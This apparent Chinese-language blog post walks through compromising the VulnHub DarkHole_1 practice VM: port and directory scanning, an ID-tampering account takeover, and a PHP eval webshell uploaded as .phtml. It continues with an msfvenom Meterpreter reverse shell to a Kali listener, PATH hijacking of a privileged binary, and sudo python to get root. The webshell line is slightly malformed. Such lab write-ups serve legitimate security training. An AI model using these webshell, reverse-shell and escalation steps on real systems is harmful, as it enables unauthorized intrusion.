当前位置: 首页 > news >正文

VulnHub-DarkHole_1靶机渗透教程

VulnHub-DarkHole_1靶机渗透教程

1.靶机部署

[Onepanda]  Mik1ysomething 

靶机下载:https://download.vulnhub.com/darkhole/DarkHole.zip

直接使用VMware打开就行

导入成功,打开虚拟机,到此虚拟机部署完成!

注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这用kali才能扫出主机地址。

2.信息收集

2.1 探测IP

使用arp-scan得到靶机地址
nmap -sn $ip/24

2.2 详细信息扫描

使用nmap对靶机开放的端口进行更详细的扫描:

nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.130
nmap -sS -p---min-rate 10000 $ip

2.3 目录扫描(dirsearch/dirb/gobuster)

dirsearch -u 192.168.135.130 -e *
dirb htttp://192.168.135.130
gobuster dir -u http://192.168.135.130/ -w $字典

2.4 指纹收集(whatweb)

 whatweb -v 192.168.135.130

3.渗透过程

信息收集发现存在web网页端:http://192.168.135.130/

发现存在登录页面

3.1 注册账号

弱密码尝试失败,暴力破解不太现实,尝试注册账号

分别输入用户名、邮箱、密码:

3.2 登录网站

使用我们刚刚注册的用户登录网站

3.3 越权操作

这里我们使用bp抓包,修改id的值为1,然后提交数据(不会bp抓包建议去搜搜教程)

这里我们可以想一下,id=2是我们新建的用户,那id等于1可以尝试是管理员。猜测用户名为root/admin

登录成功!!!!!!!!

发现相比较普通用户,多了个功能点,这不是妥妥的文件上传吗??

我们上传一句话木马
<?php @eval($_POST['cmd'];?)>

上传发现有后缀名要求,那就只能换个方式

1.改一个允许的后缀名,然后使用bp抓包改回来

2.上传一个冷门的后缀名,又不影响程序执行,比如:phtml

改后缀重新上传文件

上传成功但网站问题

3.3.2 蚁剑连接

3.4 反弹shell

3.4.1 msf生成php反弹shell脚本

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.135.129 lport=4444 -o shell.php

3.4.2 开启tftp服务,让靶机下载

3.4.3 kali开启msf监听

开启msf设置参数载荷
use exploit/multi/handler 
set lhost 192.168.135.129
set payload php/meterpreter/reverse_tcp
set port 4444
run

访问shell文件触发监听

进入shell,使用交互式shell

shell
id
python3 -c 'import pty;pty.spawn("/bin/bash")'

3.5 提权

查看敏感文件/etc/passwd发现有两个用户

cat /etc/passwd | grep /bin/bash

经过寻找发现在john的家目录发现一个叫toto的文件,有root权限,作用输出id:

所以我们修改环境变量让他执行id命令打开john的bash:

echo "/bin/bash" > /tmp/idchmod 777 /tmp/idexport PATH=/tmp:$PATH./toto

拿到john的权限之后,查看john的home目录找到密码

查看join的权限发现需要密码

发现john这个用户可以以root身份执行python文件

在fire.py里面写一段打开shell的代码再拿root身份执行:

echo 'import pty;pty.spawn("/bin/bash")' > file.py
sudo python3 /home/john/file.py

拿到flag

本篇文章渗透结束 感谢大家的观看!!

相关文章:

  • C语言教程(十一):C 语言中四种主要作用域及作用域嵌套遮蔽
  • 用户需求报告、系统需求规格说明书、软件需求规格说明的对比分析
  • 【vue】当vant中picker选择器的值为对象数组的解决方法
  • MYSQL之库的操作
  • SQL简介
  • 深度解析MySQL INSERT ... ON DUPLICATE KEY UPDATE语句
  • YOLOv8改进:ShapeIoU与InnerShapeIoU损失函数的理论与实践
  • 10_C++入门案例习题: 结构体案例
  • Java 中 == 和 equals() 的区别
  • C++ 的 输入输出流(I/O Streams)
  • RSGISLib:一款功能强大的GIS与RS数据处理Python工具包
  • 关于大数据的基础知识(三)——数据安全与合规
  • Python量化投资知识体系与学习路径
  • stat判断路径
  • 麒麟系统网络连接问题排查
  • 【Liunx】磁盘管理
  • day30 学习笔记
  • SpringBoot入门实战(第四篇:Redis集成配置)
  • 08前端项目----升序/降序
  • 资本怪兽贝莱德投资数据分析报告-独家
  • 央行研究局局长答澎湃:持续优化跨境金融服务政策工具箱,有效支持企业走出去
  • 印控克什米尔发生恐袭事件,外交部:中方反对一切形式的恐怖主义
  • 南京84.57亿元成交8宗宅地:仅秦淮区一宗地块溢价成交
  • 张广智当选陕西省慈善联合会会长
  • 山西公布商标侵权典型案例:一工厂生产价值三百多万假“维达”纸被查
  • 大家聊中国式现代化|权衡:在推进中国式现代化中当好龙头